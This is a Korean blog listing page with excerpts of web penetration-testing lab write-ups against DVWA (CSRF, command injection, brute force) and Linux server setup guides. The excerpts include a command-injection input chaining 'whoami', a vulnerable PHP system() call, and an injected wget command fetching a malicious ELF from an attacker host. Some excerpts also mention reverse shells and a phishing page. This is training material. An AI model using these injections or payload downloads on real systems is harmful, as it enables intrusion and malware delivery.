분류 전체보기 129

[웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습

이번 실습은 DVWA의 CSRF (Cross-Site Request Forgery) 취약점을 대상으로, 보안 레벨별 구조 분석 및 실제 공격 시나리오를 수행해 보았다. 특히 Burp Suite를 통한 요청 가로채기, Javascript 자동화 공격, 웹쉘 실행 및 Metasploit 연동까지 포함해서 실전 침투 시나리오를 구성해 보았다. ※실습 중 사용된 netflix 디렉터리는 실제 DVWA 구성과 무관하며, Github에서 내려받은 넷플릭스를 위장한 피싱 페이지 샘플로 피해자를 속이기 위한 공격 시나리오 구현용 resource로 활용했다. 1. CSRF란? CSRF는 사이트 간 요청 위조 취약점으로, 사용자가 로그인한 상태에서 공격자가 의도한 요청을 피해자의 인증 세션을 통해 서버로 전송되도록 ..

웹 해킹 & 보안 2025.05.31

[웹 모의해킹] Command Execution 2 - 명령어 실행 취약점 심화 실습

이번 실습은 DVWA의 Command Execution(명령어 실행) 취약점을 활용하여 리버스 쉘 획득, 파일 실행, 웹 서버 침투, 자동화 도구 제작까지 수행해 보는 고급 과정이다. 단순 명령어 삽입을 넘어 시스템 명령 실행을 통한 직접적인 시스템 제어가 가능함을 확인하였다. 1. 실습 환경공격자 : Kali LinuxTarget : Metasploitable2 (DVWA 설치)DVWA URL : http://target_ip/dvwa/vulnerabilities/exec/보안 레벨 : Low주요 도구 : Metasploit2, Netcat, Python, wget2. [Step 1] 악성 파일 다운로드 삽입한 명령어target_ip & wget attacker_ip ./abc.elfabc.elf는 ..

웹 해킹 & 보안 2025.05.30

[웹 모의해킹] Command Execution 1 - 명령어 실행 취약점 실습

이번 실습은 DVWA에서 제공하는 Command Execution 취약점을 이용하여 사용자 입력을 통한 서버 명령어 실행이 가능한 상황을 재현하였다. 특히, 보안 레벨에 따른 차이를 확인하고 우회 가능한 공격 기법도 함께 실습하였다. 1. 명령어 실행 취약점(Command Injection)이란?명령어 실행 취약점 (Command Injection)이란 웹 애플리케이션에서 사용자 입력값을 그대로 시스템 명령어에 포함하여 실행할 경우, 공격자가 의도치 않은 명령을 실행할 수 있는 보안 취약점이다. 예를 들어 다음과 같은 코드가 존재할 때$ip = $_GET['ip'];system("ping -c 3 " . $ip); 사용자가 입력값을 8.8.8.8 && whoami로 보내면 다음과 같이 실행된다.ping..

웹 해킹 & 보안 2025.05.30

[웹 모의해킹] Brute Force 2 - 무차별 대입 공격 실습(Burp Suite & Python)

이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Burp Suite와 Python 스크립트를 활용해 무차별 대입 공격을 수행하였다. 보안 수준은 medium, high로 설정한 상태에서도 공격이 가능한지를 확인하였다. 1. 실습 환경공격자 : Kali LinuxTarget : Metasploitable2 (DVWA 설치)도구 : Burp Suite, Python (requests 모듈 사용)DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/DVWA 보안 레벨 : medium / high2. [Step 1] DVWA의 Brute Force 취약점 분석Target 서버에 접근하여 로그인 로직이 있는 PHP 소스를 확인하였다.if( iss..

웹 해킹 & 보안 2025.05.29

[웹 모의해킹] Brute Force1 - 무차별 대입 공격 실습 (Hydra)

이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Hydra 도구를 활용해 무차별 대입 공격 (Brute Force Attack)을 수행하였다. Metasploitable2 환경에서 DVWA를 설정하고, Kali Linux에서 공격을 진행하였다. 1. 실습 환경 공격자 : Kali LinuxTarget : Metasploitable2 (DVWA 설치)공격 도구 : HydraDVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/DVWA 보안 레벨 : low2. [Step 1] DVWA의 Brute Force 취약점 분석 관련 소스 코드 확인Target 서버에 접근하여 로그인 로직이 있는 PHP 코드를 확인하였다. if( isset( ..

웹 해킹 & 보안 2025.05.29

[최종] 리눅스 네트워크 서버 자동화 스크립트 정리

지금까지 실습을 통해 구성한 리눅스 기반의 다양한 네트워크 서버를 Shell Script 자동화 스크립트로 문서화하는 프로젝트를 해보았다. 이 스크립트들은 서버 초기 설치 및 재설정 시 반복 사용이 가능하도록 작성하였다. 그리고 민감할 수 있는 IP 주소는 xx 처리하였다. 🐱 자동화 스크립트 1. Apache2 웹 서버#!/bin/bash# Apache2 설치 및 서비스 시작apt updateapt install apache2 -ysystemctl enable apache2systemctl start apache2ufw allow "Apache Full" # 80(HTTP), 443(HTTPS) 포트 허용 (Apache :HTTP만 허용, Apache Secure : HTTPS만 허용 ) 2. N..

리눅스 네트워크 서버 - 로그 (LOG) 서버 구성 및 rsyslog 실습

이번 실습에서는 리눅스 시스템 운영에서 매우 중요한 요소 중 하나인 로그 시스템 (Log System)에 대해 학습했다. 운영체제 및 다양한 네트워크 서비스에서 발생하는 이벤트를 기록하고 분석하는 기능은 보안 및 유지보수 측면에서 핵심적이다. 이번 실습을 통해 rsyslog를 설치하고, 시스템 로그를 실시간으로 확인하는 방법까지 배울 수 있었다. 1. 로그(Log)란?운영체제나 소프트웨어가 실행 중에 발생하는 이벤트나 메세지들을 기록한 파일이러한 과정을 로깅(logging)이라고 하며, 파일은 로그 파일(logfile)이라고 부른다. 서버에서 발생하는 다양한 동작 및 예외 상황을 추적할 수 있는 가장 중요한 정보이다.2. rsyslog란?rsyslog(Rocket-fast System for LOG pr..

리눅스 네트워크 서버 - VSFTPD 설치 및 보안 설정 실습

이번 실습에서는 리눅스 환경에서 보안성이 강화된 FTP 서버인 VSFTPD(Very Secure FTP Daemon)를 설치하고, 설정 파일을 통해 파일 업로드 허용, 사용자 제한 및 보안 연결 설정까지 구성해 보았다. 또한 FileZilla 클라이언트를 이용해 실제 파일 업로드 테스트까지 경험해 보았다. 1. FTP란?FTP(File Transfer Protocol)는 서버와 클라이언트 간 파일을 전송하기 위한 프로토콜이다. 기본 포트 : TCP 20 (데이터), TCP 21 (제어)패스워드를 평문으로 전송하는 구조이므로 보안에 취약2. VSFTPD란?VSFTPD(Very Secure Daemon)는 보안을 강조한 FTP 서버 소프트웨어이다. 보안성, 성능, 안정성을 중시Ubuntu 등 주요 리눅스 배..

리눅스 네트워크 서버 - MariaDB 설치 및 사용자 권한 설정 실습

이번 실습에서는 오픈소스 관계형 데이터베이스인 MariaDB를 설치하고, 사용자 계정 관리와 SQL 명령어 분류, 그리고 기본적인 데이터베이스 사용 방법까지 실습하였다. 실제 시스템에서 DB 접근 제어와 계정 관리는 매우 중요한 보안 항목 중에 하나이다. 1. MariaDB란?MariaDB는 오픈소스 관계형 데이터베이스 관리 시스템(DBMS)이다. 원래 MySQL에서 파생되었으며, 거의 완벽한 호환성을 유지한다. 기본 포트는 3306번을 사용한다. SQL 표준을 따르며, 다수의 웹 서비스와 연동한다.2. MariaDB 설치apt updateapt install mariadb-server mariadb-client 설치 후 root 계정으로 접속:sudo mysql -u root Ubuntu에서는 sudo..

리눅스 네트워크 서버 - Nginx 웹 서버 설치 및 가상 호스트 설정

이번 실습에서는 Nginx 웹 서버를 리눅스에 설치하고, 가상 호스트와 location 블록 설정까지 실습하였다. 성능이 뛰어난 웹 서버로 유명한 Nginx는 실제 서비스 환경에서 Apache를 대체하거나 보완하는 용도로 널리 사용된다. 1. Nginx란?가볍고 빠른 웹 서버 및 리버스 프록시 서버비동기 이벤트 기반 아키텍처로 높은 동시 접속 처리 가능리버스 프록시, 로드 밸런싱, 정적 파일 서빙, HTTP/HTTPS 지원프록시의 종류종류설명포워드 프록시클라이언트 => 프록시 => 인터넷리버스 프록시인터넷(사용자) => 프록시 => 내부 서버 (Nginx 주 사용 방식) 2. Nginx 설치 및 실행apt updateapt install nginx 설치 후 서비스 확인 및 시작 :systemctl is-..